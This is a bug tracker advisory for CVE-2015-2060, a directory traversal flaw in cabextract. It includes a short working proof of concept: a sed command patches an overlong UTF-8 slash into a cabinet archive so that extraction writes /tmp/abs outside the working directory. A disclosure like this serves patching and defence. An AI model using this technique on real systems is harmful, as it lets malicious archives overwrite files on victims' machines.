Bug 1193952 (CVE-2015-2060)

It was reported [1] that cabextract is susceptible to a directory traversal vulnerability. While extracting files from an archive, it removes leading slashes from filenames but does it before possibly decoding UTF-8 and doesn't check for invalid UTF-8. Hence an absolute filename can be shoved through by using overlong encoding for the leading slash (and setting utf8 attribute in the header). This can be exploited by a malicious archive to write files outside the current directory.

Illustration:

$ touch xxxxxxxxxx
$ lcab xxxxxxxxxx test.cab
$ sed -i 's|\x20\x00xxxxxxxxxx|\xa0\x00\xe0\x80\xaftmp/abs|g' test.cab
$ rm xxxxxxxxxx

$ ls /tmp/abs
ls: cannot access /tmp/abs: No such file or directory

$ ./cabextract test.cab
Extracting cabinet: test.cab
  extracting /tmp/abs

All done, no errors.

$ ls /tmp/abs
/tmp/abs

In the sed command above, \xe0\x80\xaf is an overlong encoding for '/', \xa0\x00 are flags updated to include utf-8 flag.

The issue was found in cabextract 1.4 and 2-byte encoding (\xc0\xaf) was enough to hide '/'. cabextract 1.5 tightened utf-8 checks and 3-byte encoding is now necessary.

The issue was reported to Stuart Caie today and fixed in less than 4h:

http://sourceforge.net/p/libmspack/code/217/

Another release of cabextract is expected in the next few days.

[1]: http://seclists.org/oss-sec/2015/q1/587